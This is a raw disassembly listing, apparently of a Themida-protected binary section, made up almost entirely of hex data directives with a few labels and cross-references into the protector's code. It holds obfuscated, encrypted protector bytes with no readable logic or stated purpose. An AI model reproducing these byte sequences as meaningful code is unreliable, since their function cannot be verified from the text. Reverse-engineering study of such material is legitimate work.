1632C357h, 9B5602ACh, 2313AE6Ch dd 0FE9h, 16970E00h, 7481103Fh, 8FB9E6F8h, 0A387FB7Ch dd 14E9h, 0A24D1A00h, 685F3AFh, 0FFBC4DBh, 0A11C2271h dd 9818057Ch, 8185C767h, 1061431h, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h dd 45B6C357h, 0B529EAC2h, 6140569h, 4D798D8Dh, 6A0614h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h dd 60EEE6C3h, 820Fh, 0FF610000h, 52006AE1h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 0AD6E2CDh dd 11E9h, 0CF3EA700h, 0E8C2E340h, 19EFF9AFh, 5F2C6250h dd 13E973DAh, 55000000h, 0E0B65CE1h, 27E4738Eh, 7B549E9h dd 782D4F5Fh db 0D7h, 0F9h word_582202 dw 5C8Bh ; DATA XREF: Themida_:00549104o ; Themida_:00549580o ... dd 0E8550C24h, 0 dd 2DED815Dh, 8B061796h, 0B883h, 0D0858900h, 8D06177Ch dd 1793A185h, 0B8838906h, 5D000000h, 1C3C033h, 142B91BDh dd 1DBD8906h, 0E9061414h, 10h, 79B2C4A4h, 926B91DBh, 83085C53h dd 24D08260h, 9358D01h, 0F600614h, 68Fh, 0D950900h, 8D061421h dd 1797F685h, 0ED8D3106h, 50061416h, 13870Fh, 0EE90000h dd 14000000h, 347A839Ah, 58804D60h, 2D76F864h, 240489B9h dd 68F0Fh, 85090000h, 61418CDh, 35FF64h, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h dd 0B44CC357h, 0BF8B30FDh, 159D89F5h, 64061421h, 2589h dd 0BD890000h, 6140B69h, 98AF858Dh, 8D890617h, 6141D15h dd 6A016089h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 17042444h, 43000000h, 5D10C353h, 0BD894EF6h, 6140985h dd 0EE9h, 4B532F00h, 112D9EE8h, 3F0A331Bh, 0C6408164h dd 141A5985h, 85894F06h, 61421BDh, 0E8A0Fh, 8B600000h dd 1418AD85h, 0CD858906h, 61061420h, 7B2BA168h, 78E0FAEh dd 60000000h, 8B666160h, 48161C7h, 4D488924h, 55006A50h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h dd 8FA362D1h, 42D75BC6h, 80604886h, 81661AD3h, 616259EAh dd 1AD1B5FFh, 6A0614h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 150424h, 57470000h, 89D8D3C3h, 1423D985h, 0DB858D06h dd 60061780h, 0D01B58Bh, 958B0614h, 6140249h, 89D0FF61h dd 140D0D85h, 0C0E906h, 89F90000h, 1411058Dh, 245C8B06h dd 0E8550Ch, 5D000000h, 9800ED81h, 858B0617h, 6141145h dd 1AD18589h, 858B0614h, 6140931h, 22558589h, 858B0614h dd 6143481h, 7858589h, 85C60614h, 6141A59h, 9F85C700h dd 61782h, 8D000000h, 1798AF85h, 0B8838906h, 5D000000h dd 6AC3C033h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 14042444h, 46000000h, 0F01C356h, 18Ch, 6AF900h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h dd 608BF5C3h, 198E0Fh, 13E80000h, 2B000000h, 43015B88h dd 0E0DE2CD3h, 0E388E366h, 2CAE4F0Ah, 8A59AF6Bh, 74BC61FAh dd 890012FFh, 141585BDh, 58F6406h, 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 30C35040h dd 6D24036Bh, 0FB58A08h, 880h, 2890F00h, 60000000h, 8D8B6061h dd 61413E9h, 4C48361h, 0FE9h, 0D1349100h, 81E7A637h, 7BAD8661h dd 0DB78A1C0h, 0EEE961h, 8BFB0000h, 5C9736E1h, 88838A05h dd 0A1D76A1h, 8FDD7A0Eh, 6D373353h, 3D557D2Fh, 0D57F2D77h dd 577DD77Dh, 0DF6DF73Dh, 0D773D575h, 0F73D577Dh, 75D55FEDh dd 6D373353h, 3D557D2Fh, 0D57F2D77h, 577DD77Dh, 0DF6D171Eh dd 20602075h, 0E0202060h, 0AC2060E0h, 0A9F77B68h, 0D020A1E4h dd 0EDA693B2h, 91B99DB7h, 20ACA3F2h, 20602060h, 0E0202060h dd 752060E0h, 0D0A3353h, 20557D2Fh, 20602060h, 2BA72860h dd 0C950F036h, 0EFB6F360h, 0E0F796A1h, 0B8E3A7B4h, 0B3F47192h dd 0F76DB9E9h, 2 dup(20602060h), 0DF6DF720h, 0D773351Ah dd 0F73D577Dh, 75D55FEDh, 6D373353h, 3D557D2Fh, 0D57F2D77h dd 577DD77Dh, 0DF6DF73Dh, 0D773D575h, 0F73D577Dh, 75D55FEDh dd 6D373353h, 1E357D2Fh, 7000E0Ah, 0A3D25D34h, 1E59A0h dd 2 dup(0) dd 0CFDE9h, 9C8C6800h, 0CE90617h, 68FFFCE4h, 6179D92h dd 0FCE402E9h, 9E5268FFh, 0F8E90617h, 68FFFCE3h, 6179F1Bh dd 0FCE3EEE9h, 9FDD68FFh, 0E4E90617h, 68FFFCE3h, 617A08Eh dd 0FCE3DAE9h, 0A1EC68FFh, 0D0E90617h, 68FFFCE3h, 617A2E9h dd 0FCE3C6E9h, 0A3D468FFh, 0BCE90617h, 68FFFCE3h, 617A4A4h dd 0FCE3B2E9h, 0A56568FFh, 0A8E90617h, 8AFFFCE3h, 3E1B6D52h dd 0F9D62895h, 0B390E2D9h, 68459722h, 0C3FC4E6Fh, 0A11CBBF5h dd 5A5F724Fh, 12AD2B08h, 0C8F3E3C0h, 0DCE26A76h, 580981F6h dd 12A80F0Ah, 3E4BF7C4h, 47A2693h, 8C4AE2A0h, 9301DD2Fh dd 0BA9DA3EBh, 0C857E500h, 1FECF4A0h, 0B8945B7h, 2AB38A68h dd 5F8EE692h, 0E7398254h, 2693420Fh, 0E8F3227Ah, 31171DEEh dd 45580658h, 0A5516A68h, 711DB54Dh, 658482Bh, 44066A58h dd 0CCEDE8B5h, 0C244929Dh, 0A2FAA613h, 13E0B80Ah, 299642C2h dd 7F576291h, 5383903Ch, 0EF9B1EB3h, 0E153FF97h, 0AF27DD7Dh dd 0E97CBA0Ch, 15F8D981h, 595h, 8B4A172Ch, 0FB2A822Eh dd 2916E6F0h, 0EE1F0AD1h, 6A7723BBh, 3A074F6Ch, 1E762297h dd 9503DFEFh, 89BA1E9h, 7657E546h, 9E2F064Eh, 0B9784759h dd 0F93FA9D8h, 58067F17h, 597F4C22h, 0A5E53766h, 0D957372Eh dd 42C7F8h, 13DE0000h, 0E9B1F9A5h, 854CBA1Ch, 296D9C34h dd 57E50366h, 0CFEEE5B2h, 963F1CA0h, 0EFD5DB23h, 3580602h dd 519743DBh, 5806036Fh, 0A13A587Ah, 0F8D9D6C4h, 0E6CCD29Ah dd 0FA58060Eh, 213DA3D2h, 54000001h, 63494F17h, 0E651F1E8h dd 8B17183Ah, 3B6329FDh, 0E6D5010Ch, 13AA2D3Ah, 2DD7FECBh dd 0D27E16A5h, 0D4E14B7Ah, 0A971B902h, 0F259BDA3h, 7AA9D151h dd 38D30310h, 0F25A4C32h, 0EB386051h, 0D028D4E7h, 0A819F038h dd 0E78C89B3h, 0F8DEE42Ch, 0C51F2E0h, 8FA5B5E4h, 51F2E4BCh dd 0C008B323h, 2BD7E2F3h, 0B794A4D3h, 0E4F09C1Fh, 21890B76h dd 0EAA64A68h, 9B330A52h, 0C9D44ABBh, 393F4574h, 57E527FEh dd 563284ACh, 6979E8h, 0AE601688h, 9CC8CE16h, 0AA5DFBBDh dd 17C3FADDh, 596672BFh, 0CC9A62Ah, 9E11F7FDh, 0FD255E1Dh dd 0B885CD65h, 8E569E1Fh, 1D9DA288h, 482E345Eh, 5C5E1D9Eh dd 17466E34h, 51AD2A07h, 0E9631486h, 1DF7720h, 38908E19h dd 0CF182610h, 9E000009h, 522F813Eh, 0DEA3C81h, 0C7A4F6C5h dd 7C59AB0Eh, 0D710625Bh, 0B508CFE1h, 6E4B8663h, 26993F1Ch dd 0DCDFF7D4h, 0F0F67E8Ah, 5809840Ah, 12BC231Eh, 0CEA6F8C5h dd 3FEBD201h, 29ADB8E7h, 91684092h, 9E82E4A7h, 14FB2AB5h dd 63494F17h, 7751F1E8h, 0A816204Fh, 1BE8B0F8h, 0FB53FFBAh dd 2C588CCh, 6B9357E5h, 19779BFh, 0BC1C5806h, 8D4A5703h dd 5C778430h, 682ACC61h, 0E2A0C289h, 6754824Fh, 0C83463BBh dd 0F8D9D79Dh, 0B161h, 4A177800h, 0F9043388h, 0CE96DEDDh dd 3FEBD201h, 0E87B61E7h, 3BFE51F1h, 0B90C803h, 13426A30h dd 823B9CA9h, 0D0BD90D6h, 0B22451F2h, 0FCDAB709h, 990713BFh dd 13D6ADF5h, 518D013h, 4D535988h, 57E5E412h, 835098C0h dd 64BC6853h, 0DB492535h, 8014EB33h, 11B1614Dh, 0ECD1024Fh dd 96B1B7BDh, 45DFB89h, 10C794DCh, 597E5BADh, 0A9E8664h dd 0B59F3891h, 8C9A7h, 8738A400h, 427B5835h, 0FCBF13F0h dd 0B108CDAAh, 6855825Fh, 0D5DBDD16h, 8C69BB02h, 45227445h dd 0FDDA2C93h, 8490E2D9h, 8510F6FCh, 29245809h, 0F8C512C2h dd 0AE0DC9A6h, 0C412A35Ch, 983E4BF7h, 53B3D123h, 509848B6h dd 0E501FF4Ah, 597E4B57h, 89B13564h, 967894E8h, 0F462B4CDh dd 4BFE044Ch, 775CC192h, 696189A0h, 0E2A77D63h, 1269915Ch dd 2C795669h, 0D6511AAh, 86325ADEh, 0D927B17Eh, 54DB671Eh dd 903CD4DBh, 0B478E138h, 9A8AF49h, 0FF62D0DAh, 0E64649BFh dd 5AA23A13h, 0D7558754h, 0E9315962h, 874CBA1Ch, 79FF7877h dd 0DA54D0Bh, 90462375h, 0EAE14D2Bh, 867033B3h, 80978h dd 47786400h, 2BB18F5h, 0BCFFD3B0h, 71488D6Ah, 2895421Fh dd 951B9DD6h, 4C297B42h, 5E23485h, 0BD9AECD3h, 4450A219h dd 85D0B6BCh, 0E9E45809h, 0F7C41282h, 5D76434Bh, 0E7C4AAB0h dd 0B0D851F1h, 71DFE918h, 0F0BD85CDh, 66AAD9E2h, 57E50A77h dd 573D430Bh, 6B58060Ah, 0B3901443h, 0BA029A25h, 0DE1F0FE3h dd 9DF4736Ch, 2C0AE937h, 4D5D8CB7h, 135B0371h, 802C9146h dd 0C3F6DB28h, 8A90BF17h, 0FDABAE84h, 0C4CAA25Dh, 5E1DABDEh dd 0EA32CAF2h, 0B002B91Dh, 0CB803D3h, 0A6EE9200h, 154493A0h dd 75BDE564h, 0C7F8E0ADh, 8994C31Bh, 3F1C6E4Dh, 6C782497h dd 40A52FEh, 6A286DA5h, 0A395739Bh, 0C22C6525h, 740CAD8h dd 0AF2D0000h, 0F2E1BE10h, 369C79CBh, 7F563385h, 0CC0BE83Ah dd 52669FF1h, 0F244795Eh, 0ABFDBC15h, 63B50ACEh, 196B5086h dd 997F850Dh, 0AD580986h, 4F174BB2h, 0F1E86349h, 204F7751h dd 0AD39A816h, 3FB4C71h, 757BC35Bh, 57EA6070h, 8B18DBC2h dd 3911BFD9h, 0B705EBF1h, 0F119580Ah, 0B13A1159h, 7EA332E7h dd 9286F140h, 47DFB4C3h, 37E3D8FAh, 0E2AAB0DFh, 0AF5D4E0Bh dd 215017D0h, 0A9FBC016h, 5B10ACCh, 9BE38BF9h, 22EE41C4h dd 76C38A27h, 292F5E5Bh, 0AD939961h, 3F580A50h, 0A515339h dd 793F6758h, 1D030951h, 31580A51h, 0A796DA09h, 0BD5DFD72h dd 2FC7F8E0h, 9001F151h, 909E8838h, 67Eh, 80D2EDEFh, 3B8D30A3h dd 0F547745Eh, 0AAFCBD18h, 61B30ACDh, 0B7209028h, 0FAD7B406h dd 48906DBFh, 8E482577h, 47CFDB2Dh, 9875B41h, 0D746F58h dd 8F44A513h, 484E962Eh, 57E98272h, 2EF63E66h, 1C4B7261h dd 0A4F6C511h, 0AC0FC7h, 92DA86F4h, 0C38622BBh, 0ADDC474Ch dd 0BF12DFA7h, 0A9F64EFAh, 8DE59128h, 0A40D1A5Eh, 375F5E00h dd 7B422EFh, 0F15DDB5h, 5E20A429h, 0DBE6153Dh, 814C0FBh dd 2897419Ah, 0B3804890h, 0BDAFDC1Eh, 0D9F2C990h, 4A889541h dd 0D56DC571h, 0C5714A88h, 9BFA3E6Dh, 91641322h, 71C18B69h dd 0E2CC327Ah, 5CDD4h, 833CA000h, 3E7F5431h, 0F8C30FECh dd 0AD0CC9A6h, 64597E5Bh, 0D1DFD912h, 8865B706h, 411E7049h dd 0F9D62897h, 808CDEDDh, 880CF2F8h, 25205809h, 1D4017BEh dd 137EE6EBh, 0FED8E312h, 0D20411BDh, 4DBB97E9h, 598259A1h dd 9821B4C0h, 3A3D94ECh, 515786EEh, 0E546B84Bh, 52FE2657h dd 6262A0Ch, 77133558h, 0D9B0095Ch, 3BF5F8h, 130C0000h dd 0ABB1F9A5h, 57E502E8h, 9CE28EB6h, 580602BAh, 0EF18EFC5h dd 6D1448A2h, 46DEE1F7h, 7485C517h, 0D7DD30A7h, 5806DBF1h dd 9945DD05h, 0BFA61241h, 3FF8D8FDh, 112h, 8E4A1756h, 0E7957B81h dd 81A951F1h, 2F353DE9h, 51F1E849h, 6E9D355Dh, 9C487363h dd 0C975488Fh, 0EAEC1ABCh, 0E8351B21h, 214951F1h, 0ED85DD89h dd 64A23441h, 7B3E9371h, 33DF77CFh, 0DBF143DBh, 51F1EC08h dd 0C54676Fh, 0F423963Fh, 0ECCF07E4h, 0C0FBD7A4h, 0ECCF0714h dd 2150E840h, 913DABB7h, 3DA04349h, 0D5AC57E5h, 2DA8EDC3h dd 3188E08Ch, 0BAE936BFh, 72585E36h, 865805F9h, 9874C65Eh dd 0B504D12Ah, 0E6D7FC09h, 0B24AE23Ah, 0D1E1646Ah, 72F5DFAh dd 0D8E5F2BFh, 0D6FBC890h, 59DF37E3h, 5E1CB173h, 20305F87h dd 4B299443h, 3891C40Bh, 6F9EAC96h, 0FE000004h, 0B28FE1DEh dd 6D4A9C21h, 27045665h, 0DCB90BAEh, 3770C2FBh, 15A82F81h dword_582DE4 dd 0CEEBE6C3h, 86399F7Ch, 3C7F5734h, 5056DEEAh, 5809896Ah dd 121C837Eh, 0E8B0F8C5h, 0CE7C1311h, 36BC6324h, 51F22A50h dd 6E518764h, 0A3D26AC2h, 9B20B693h, 0F79A7149h, 0D34E3419h dd 760EAD29h, 0A5136047h, 1D4A5C3Ah, 64FCE2E4h, 453161Ch dd 0F92157E5h, 425074Dh, 0E305806h, 0D60E574Ch, 0C8F0F8D9h dd 7000000h, 4BF7C412h, 7824993Eh, 0F1EC5F32h, 0AB10C651h dd 615A7C59h, 0F1E0ADB5h, 0F2E41709h, 19B1D4F1h, 0DCE6156Dh dd 0AD7AC26Eh, 5D639229h, 0E543B457h, 805B4257h, 93A061A9h dd 7A56A840h, 161C640Ch, 5DFB07F2h, 8D2CA582h, 0A9F189E1h dd 0FCBD14E1h, 0E915C2CDh, 0FBD65CFBh, 97DF77BAh, 0AD22D4C0h dd 0C2F115AFh, 602D5B2h, 359DEACFh, 0EA82DA86h, 90C2540Ch dd 69776138h, 372h, 8CDEE1FBh, 479924AFh, 153686Ah, 0B608B124h dd 6DBFFED9h, 0AB2C8434h, 0EEE3C012h, 3C9C79CBh, 82543183h dd 53DBE739h, 98A674Dh, 19807B58h, 2E8B4A17h, 25E3F4FFh dd 75F0BB2h, 0E7D3B9BFh, 0BFE751F1h, 0DEF8D527h, 12D28BDDh dd 3E4BF7C4h, 0B3D12398h, 9A46B451h, 0AA508552h, 0C85A49F9h dd 24D0680Bh, 0C230161Ch, 1C4451F2h, 494F5584h, 57E5DBFEh dd 0AF03A4CCh, 0FBD97415h, 99E18DFBh, 0B1F606CCh, 0DAF83262h dd 5B619028h, 0DFC5CB93h, 0F3FC3C6Ch, 6D2F151Bh, 1B43FC3Ch dd 0D9105483h, 0D022F8Eh, 9B53C636h, 552F13CEh, 1874CBDFh dd 0D5598837h, 87F501ADh, 14C28FD7h, 8407A3E8h, 740C77BCh dd 6410AB27h, 0D1D7DD0Ch, 8449C04h, 9966AED6h, 69367E3Dh dd 13235269h, 3D1BA036h, 8E46D92Dh, 87A4B29Ch, 0E6000002h dd 9A77C9F6h, 55328439h, 0FEC3E7Dh, 0C4A1F3C6h, 1F58AA13h dd 0FDC01799h, 0B603CEABh, 6E518764h, 24973F1Ch, 383EC6D2h dd 58098B52h, 12046B66h, 0FDA638C4h, 5243F23Fh, 94020EBAh dd 0FB9EA4ECh, 8957E60Ah, 95F10F61h, 61177AE8h, 0DD3DC0AAh dd 0DDA5ED85h, 4CF8C110h, 3681C5F4h, 45DF9B5h, 0CC794DCh dd 852B5AB1h, 0FF3EA708h, 2F1D71D0h, 0C1F8A85Ch, 2CD8E1F4h dd 2D9BA5D4h, 80333981h, 0AC209C57h, 0C513F3DFh, 5EF64EFAh dd 0D783AB2Fh, 69B15DCBh, 0B1D89663h, 0F8406826h, 0BE10AB2Bh dd 0ED620FE6h, 0DA97CC3h, 0CE2596BBh, 64AC5834h, 0D40F785Eh dd 35648C26h, 595FAC2Ah, 26D40F73h, 0E9C75F87h, 6FDA668Bh dd 0B75A6852h, 0B6000001h, 6A479926h, 25025469h, 0DFBC0EADh dd 9471C3F6h, 0EF287A43h, 0CDF0E7C9h, 86339E7Bh, 3E815734h dd 0F4C70FECh, 80E96A2h, 58098C22h, 12D43B36h, 3F4BF7C4h dd 0DFE52DD1h, 57E5ED7Ch, 91A0A38Ah, 0C2BAE681h, 61BAD82Ah dd 0E6EC44B2h, 58062100h, 0C8744B8Dh, 0EA82AA70h, 0C80DDAA2h dd 8820993Ch, 0F423963Bh, 0F93A65B0h, 6A0B335Dh, 0AB46D016h dd 0B01EF4h, 0B523F0B8h, 0D7065E0Ah, 42E093h, 0BA668E1Dh dd 489040AEh, 15C37542h, 0D71F4723h, 2895420Fh, 0D3E8EEF9h dd 0E9D2A981h, 4529BA42h, 874F5A89h, 81987E84h, 0C5AC2338h dd 54B8E8D9h, 9C34CC69h, 7605C0BEh, 39473173h, 0F6h, 85A6577h dd 0C315A82Bh, 7DCFECE6h, 328435A0h, 0E93B8255h, 2FA808B0h dd 725F3C8Eh, 0C018F547h, 6D0ADFFh, 0CF5763B5h, 98CE3C9h dd 95FCF758h, 0AFF7C412h, 0E7FBE1E7h, 320F51F1h, 146C18A5h dd 0D7E34D7Ch, 290F1569h, 0BB51F1E8h, 0F1E7CFB5h, 0F5BBE351h dd 25ED35CDh, 96427B58h, 0AF0F63Eh, 1E51F1E8h, 4083C7F6h dd 0E57E512h, 4AB894E6h, 0B122E6F1h, 7008600Ch, 0FEADC4h dd 0FDAF6F63h, 0BD85CD65h, 5909EFF5h, 0F51D5806h, 0F17982C6h dd 9BC35DFDh, 0C7F4E2EFh, 7D3E9875h, 3EDE8BD1h, 1C806CB3h dd 0FD03CB7Eh, 8F141E17h, 36834E2Bh, 6B9A328Ah, 0F3457660h dd 454BC016h, 8F141E5Fh, 7B409673h, 979F4BE3h, 2AE0BCAh dd 0F06911EBh, 0DA72C432h, 8435A0ABh, 0A1E183D8h, 28704B8Bh dd 0B745A60h, 60888F14h, 92442131h, 36F7D29h, 0C6000000h dd 0CA127DE4h, 9A3C49F5h, 70687521h, 3B96A34Fh, 12C5D27Eh dd 0E5F2FFABh, 0B61F2CD8h, 884A5703h, 597A8733h, 6833B864h dd 5E3Eh, 68241489h, 1D29h, 56240489h, 0C681E689h, 4, 8704EE83h dd 895C2434h, 68512414h, 29B81FFBh, 81240C8Bh, 4C4h, 0F7D9F700h dd 80C181D1h, 8159175Bh, 0B7E102E9h, 59C8897Ch, 24148B54h dd 4C481h, 56500000h, 631416BEh, 2474312Ch, 428F5E04h dd 8728108h, 2C631416h, 5324148Bh, 0C381E389h, 4, 8704C383h dd 0FF5C241Ch, 83582434h, 1CE904C4h, 89FFFCD7h, 80B87500h dd 30617A6h, 0F1E0FFC5h, 0C8746883h, 481A04A4h, 3634B0D9h dd 0D5184827h, 8A699DCEh, 0F07ACA12h, 8B6E8767h, 0FF53A882h dd 0E5747305h, 0CF768933h, 16CFD07h, 0E9575547h, 148h dd 50h, 54h, 58h, 5Ch, 60h, 64h, 68h, 6Ch, 0B0h, 0B4h dd 0B8h, 0BCh, 0C0h, 0C4h, 0C8h, 0CCh, 0D0h, 0D4h, 0D8h dd 0DCh, 0E0h, 0E4h, 0E8h, 0ECh, 38h dup(0) dd offset dword_582DE4+5A0h dd 0A150EBh, 0A745858Dh, 8D890617h, 6140D15h, 0A8858589h dd 8E90617h, 0BC000000h, 938F1667h, 0C62E8740h, 141A5985h dd 3CBE5406h, 687C5AD5h, 0E89DE084h, 0A5240481h, 8B05C487h dd 45B529CFh, 0FF06140Eh, 141AD1B5h, 8D2DB706h, 1780DB85h dd 0D1BD3106h, 0FF06142Eh, 9DB589D0h, 8906142Ah, 17A88985h dd 659D8B06h, 0E906140Ah, 3Eh db 0Fh, 0B7h, 0F2h byte_5834DB db 56h ; DATA XREF: Themida_:0054993Co ; Themida_:0054B04Co ... dd 0A885B58Bh, 6890617h, 0A8858583h, 5E040617h db 0C3h byte_5834ED db 60h, 8Dh, 0B5h ; DATA XREF: Themida_:0054A988o dd 617A745h, 6A560FEBh, 0FF36FF00h, 17A88995h, 0C6835E06h dd 3E8304h, 0C361EC75h, 12C19523h, 0BE660614h, 858DABA0h dd 617A90Eh, 8589DC8Ah, 6141DA9h, 8E8h, 58249000h, 0B874C138h dd 45F9BA0Fh, 0F5E587Ah, 68Fh, 0A59D8900h, 8106140Fh, 5F57C6h dd 819D8900h, 2B061409h, 10E9C9h, 0EE180000h, 50CC87BEh dd 1CC41E5Fh, 0D4638863h, 34FF3E69h, 38E0F31h, 66000000h dd 0F58DE8Bh, 68Eh, 0F5B58900h, 8106140Ch, 0CAFF14E8h dd 19C08118h, 0F4DB0ECh, 589h, 9E00BF00h, 0E8814A44h, 67B11BFFh dd 50D98B66h, 2F39958Bh, 48F0614h, 0F553B60Eh, 8902E983h dd 14109595h, 89494906h, 1420C195h, 68F98106h, 0FFFFFA1h dd 0D85h, 0D0B70F00h, 1BE9h, 0F90D8A00h, 0BD09517Dh, 6142B4Dh dd 0FFFF85E9h, 0C207EFFh, 17E6FEA6h, 7E265A71h, 75E9h dd 8C666000h, 0F04A8D8h, 3584h, 0FF016A00h, 141145B5h dd 0DB858D06h, 0FF061780h, 0BD8589D0h, 8B06140Ch, 0CEFC1FEh dd 4000068h, 6A006A20h, 0D685702h, 0FF000100h, 140CBD95h dd 32E906h, 85C60000h, 6141A59h, 30DF6856h, 0B5FFA9C5h dd 6141AD1h, 80DB858Dh, 0D0FF0617h, 2C1D8589h, 858D0614h dd 6140101h, 6A206A50h, 95FF5605h, 6142C1Dh, 0E0C1C361h dd 39EB06h, 0CC00C100h, 0E400C102h, 0C102h, 7A000000h dd 404614CFh, 0EA770DC3h, 0B6231CCBh, 8D4E17CFh, 1C4F1D88h dd 7C7737A6h db 0EAh, 35h, 23h byte_583697 db 52h ; DATA XREF: Themida_:00549940o dd 6B5336D2h, 754B2DC8h, 834718C3h, 962313C6h, 0E0237A4Eh dd 0B37C59A6h, 1C5FF0F9h, 3867F8A2h, 0E2364A2h, 0C4743EA6h dd 46A06227h, 0FF1B0659h, 55A824FCh, 76375AF7h, 3849B92Dh dd 1C2091F6h, 560379A6h, 43AA2165h, 0C7A27D82h, 0C13B7D82h dd 0B06379A6h, 0C2519D65h, 0BD2C0921h, 1C2379A5h, 8D079F26h dd 1313C81Bh, 8A5679A0h, 0DBC2C425h, 94237FB2h, 0FB7029BFh dd 3C9AC166h, 99AA79A6h, 83763EFh, 0B019E42Bh, 50DC7FB0h dd 7CA021FDh, 0E6376347h, 20340DA6h, 3C9AC1F5h, 99AA79A6h dd 83763EFh, 0B30AE42Bh, 50DC7FB0h, 7CAA21FDh, 0E637720Bh dd 0C5B6F2F4h, 62256D8Fh, 3AA2FC2Fh, 0CEA87FB2h, 0EF7279CCh dd 832379A5h, 98E02086h, 0E407352Fh, 74073D27h, 382379BAh dd 0EBE028E7h, 0E0F4DE7Dh, 0ACEE1BC5h, 997AFC60h, 0AB757FB2h dd 0E3CB29A6h, 502379A6h, 0B17BBAFEh, 9D275DE2h, 12275DE2h dd 472379A6h, 69ABAF6h, 0A218D702h, 697D673Fh, 6429003Bh dd 50F0F2A0h, 0B045DA0Ah, 0E237E4Fh, 1A246AA6h, 899477DCh dd 3F074D27h, 6913B7BDh, 6435002Bh, 0E99686A0h, 13256DBCh dd 8BAE8F19h, 134F97Dh, 6B7279CCh, 0C12379A5h, 0B9E02086h dd 7407352Fh, 3C073D27h, 1C2379BBh, 8FE028E7h, 5BFF64EFh dd 5D14A85h, 7496F2DEh, 0EF256DA0h, 7023792Dh, 52F386A6h dd 1FCB29A6h, 2E2379A6h, 8E7BBAFEh, 2275DE2h, 0DB275DE2h dd 0A02379A6h, 0F629BAF6h, 127749E6h, 7659CB58h, 5D2313A2h dd 7237A4Eh, 407859A6h, 0E57FF0FDh, 0C467F8A2h, 702361A2h dd 0FB703AA6h, 0DD1D9841h, 0F7C311A4h, 8D430918h, 8DAF766Dh dd 292379A6h, 0E02379AEh, 10C248E2h, 0B0EFA6D6h, 28A218FCh dd 0B0CA9982h, 562313D6h, 83237A4Eh, 27A59A6h, 0C46FF0FFh dd 5467F8A2h, 38236EA2h, 0DF7238A6h, 8EA107Fh, 735F4A9h dd 92CA79A6h, 0B82379A6h, 20BAE43Bh, 0FBD46FB9h, 0A9DD5262h dd 5E1FB816h, 9EBE58CEh, 2AD7621h, 3C2379A6h, 0EA8B50CBh dd 2B077D27h, 0F15B16C3h, 0E92A968h, 762313CCh, 0DCB2AA6h dd 272379A6h, 0A78BAFDh, 40275DFAh, 0FA275DE2h, 332379A6h dd 0A93BAF5h, 0A645C039h, 10A67636h, 672379A6h, 59B3A327h dd 0D0CA1282h, 1D2379A6h, 16A1DF8Eh, 0E1A4B81Bh, 0BCFED2E5h dd 5C8A90E1h, 0F805CFC7h, 0D6231376h, 0C1237A4Eh, 237E59A6h dd 544FF0FBh, 1C67F8A2h, 1C2365A2h, 0CD763CA6h, 14D521A4h dd 9FF751EDh, 0AD9A1F35h, 51B650E5h, 0F9256DA5h, 2F89F523h dd 67CDF8A0h, 856D4B28h, 5EF7C5Eh, 6AA79A6h, 0C734D336h dd 693BB925h, 6789ED23h, 81E34AA0h, 1C237B4Ah, 0C8DBD355h dd 13392023h, 83493AA0h, 0C12091F6h, 0B80379A6h, 34AA2165h dd 7CA27D82h, 1C397D82h, 5E6379A6h, 570C1965h, 0A7F0821Eh dd 0DCC2FDCEh, 13A81F23h, 0AA074D27h, 0C03A032Ch, 6F2CC59h dd 8BAE7FB2h, 134F97Dh, 839AC42Fh, 11DC7FB2h, 0E2FEE48Fh dd 0EDAA7FB2h, 3E374863h, 0C22FC2Fh, 83AA7FB2h, 1376B7Fh dd 8EB2FC2Bh, 0C1497FB2h, 0E02091F0h, 2E0379A6h, 4CAA2765h dd 58A27D82h, 0E3A7D82h, 516579A6h, 1FD4E865h, 90689D31h dd 0C9B2CC2Dh, 0F97C7FB2h, 2C390823h, 492313A0h, 0E237A4Eh dd 0C47E59A6h, 0A74FF0FBh, 0E567F8A2h, 0E0236EA2h, 0B3763CA6h dd 883F3ADAh, 99E5AE2Dh, 83763FFh, 522313F5h, 83237A4Eh dd 27E59A6h, 0C44FF0FBh, 5467F8A2h, 382361A2h, 0DF763CA6h dd 38221D19h, 0B3C8C0CAh, 3C450F30h, 0EF4BC942h, 0B3FC4CD4h dd 7021F9A9h, 594379A6h, 3827F8F8h, 1358AF0Ch, 0EF7079CCh dd 832379A5h, 9AE02286h, 0E407252Fh, 74073D27h, 382379BBh dd 0E2E02AE5h, 0C32E6F13h, 0DD77995Ah, 5A9D1FFCh, 109686EAh dd 8A256DBCh, 73CB28A6h, 182379A6h, 957ABAFFh, 8F275DEAh dd 1C275DE2h, 0C22379A6h, 0FECCBAF7h, 0DDD21795h, 0F5AEF646h dd 3E34F97Dh, 0F47679CCh, 0E2379A5h, 5AE02486h, 8707152Fh dd 0C5073D27h, 0E02379B3h, 8DE02CE3h, 0B9452833h, 451D077Fh dd 0E25FCA9h, 82AA79A6h, 8537491Bh, 3EF0F2C0h, 750A1976h dd 763749DFh, 51A6F0C7h, 76256DB7h, 0DCB2FA6h, 272379A6h dd 0A7DBAF8h, 40275DD2h, 0F7275DE2h, 362379A6h, 4662BAF0h dd 99E5C8BFh, 83763FFh, 0BFC4C7F5h, 584B0815h, 29B70BBCh dd 0E02379A3h, 0B6EFE4A8h, 3CA227ECh, 0BA8AA182h, 8B967AE5h dd 0F8256D83h, 9739A813h, 932313A0h, 0E0237A4Eh, 0B37959A6h dd 1C77F0FCh, 3867F8A2h, 0E2362A2h, 0C4713BA6h, 7DB2DDC0h dd 0A9C0FF19h, 0D9670C6h, 0F9256DA9h, 2C20BC23h, 99AE18A0h dd 834F97Dh, 30EECAFh, 53DC7FB2h, 0C121FBA9h, 34A979A6h dd 5AD6FC2Fh, 0B5A87FB2h, 1A3749CFh, 147AFC60h, 0FB647FB2h dd 0D03505CEh, 0D959C60Ah, 0E4A21E46h, 0FBE45482h, 0E99686ADh dd 97256DBCh, 1A0C6C33h, 0DCA6F4A0h, 0E9256E26h, 0C2CB29A6h dd 0C02379A6h, 0F97BBAFEh, 0B9275DE2h, 0A275DE2h, 4E2379A6h dd 